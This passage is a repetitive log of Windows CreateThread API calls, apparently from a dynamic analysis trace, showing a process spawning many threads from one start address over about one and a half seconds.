	[0249.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0028, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114
	[0249.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118
	[0249.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c
	[0249.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120
	[0249.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124
	[0249.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128
	[0249.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c
	[0249.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130
	[0249.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134
	[0249.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138
	[0249.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150
	[0249.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154
	[0249.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158
	[0249.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c
	[0249.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160
	[0249.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef00a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x164
	[0249.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef00a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x168
	[0249.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef00b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c
	[0249.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef00b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x170
	[0249.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef00c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174
	[0249.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef00c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x178
	[0249.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef00d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c
	[0249.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef00d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180
	[0249.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef00e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x184
	[0249.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef00e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188
	[0249.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef00f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c
	[0249.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef00f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x190
	[0249.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x194
	[0249.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x198
	[0249.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c
	[0249.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0
	[0249.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4
	[0249.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a8
	[0249.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac
	[0249.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b0
	[0249.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4
	[0250.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c0
	[0250.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c4
	[0250.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8
	[0250.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc
	[0250.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0
	[0250.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4
	[0250.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8
	[0250.080] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc
	[0250.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0188, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0
	[0250.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4
	[0250.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8
	[0250.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef01a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec
	[0250.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef01a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f0
	[0250.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef01b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f4
	[0250.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef01b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8
	[0250.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef01c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc
	[0250.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef01c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200
	[0250.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef01d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204
	[0250.096] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef01d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208
	[0250.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef01e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c
	[0250.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef01e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210
	[0250.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef01f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214
	[0250.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef01f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218
	[0250.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c
	[0250.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220
	[0250.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224
	[0250.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x228
	[0250.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c
	[0250.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0228, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230
	[0250.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x234
	[0250.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x238
	[0250.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c
	[0250.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x240
	[0250.241] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x244
	[0250.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248
	[0250.243] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c
	[0250.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x250
	[0250.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254
	[0250.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0250.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0250.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260
	[0250.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0250.252] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x268
	[0250.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef02a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c
	[0250.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef02a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270
	[0250.256] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef02b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x274
	[0250.257] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef02b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278
	[0250.259] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef02c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c
	[0250.260] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef02c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280
	[0250.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef02d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284
	[0250.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef02d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288
	[0250.265] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef02e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c
	[0250.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef02e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290
	[0250.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef02f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294
	[0250.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef02f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298
	[0250.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c
	[0250.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0308, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0
	[0250.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4
	[0250.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8
	[0250.487] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac
	[0250.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0
	[0250.490] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b4
	[0250.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b8
	[0250.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc
	[0250.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0
	[0250.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4
	[0250.498] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0358, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8
	[0250.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc
	[0250.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0368, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0
	[0250.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4
	[0250.504] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0378, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8
	[0250.505] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc
	[0250.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0
	[0250.508] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4
	[0250.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8
	[0250.511] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef03a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec
	[0250.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef03a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0
	[0250.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef03b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4
	[0250.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef03b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300
	[0250.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef03c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304
	[0250.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef03c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x308
	[0250.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef03d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x30c
	[0250.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef03d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x310
	[0250.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef03e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x314
	[0250.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef03e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318
	[0250.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef03f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x31c
	[0250.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef03f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x320
	[0250.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324
	[0250.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x328
	[0250.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32c
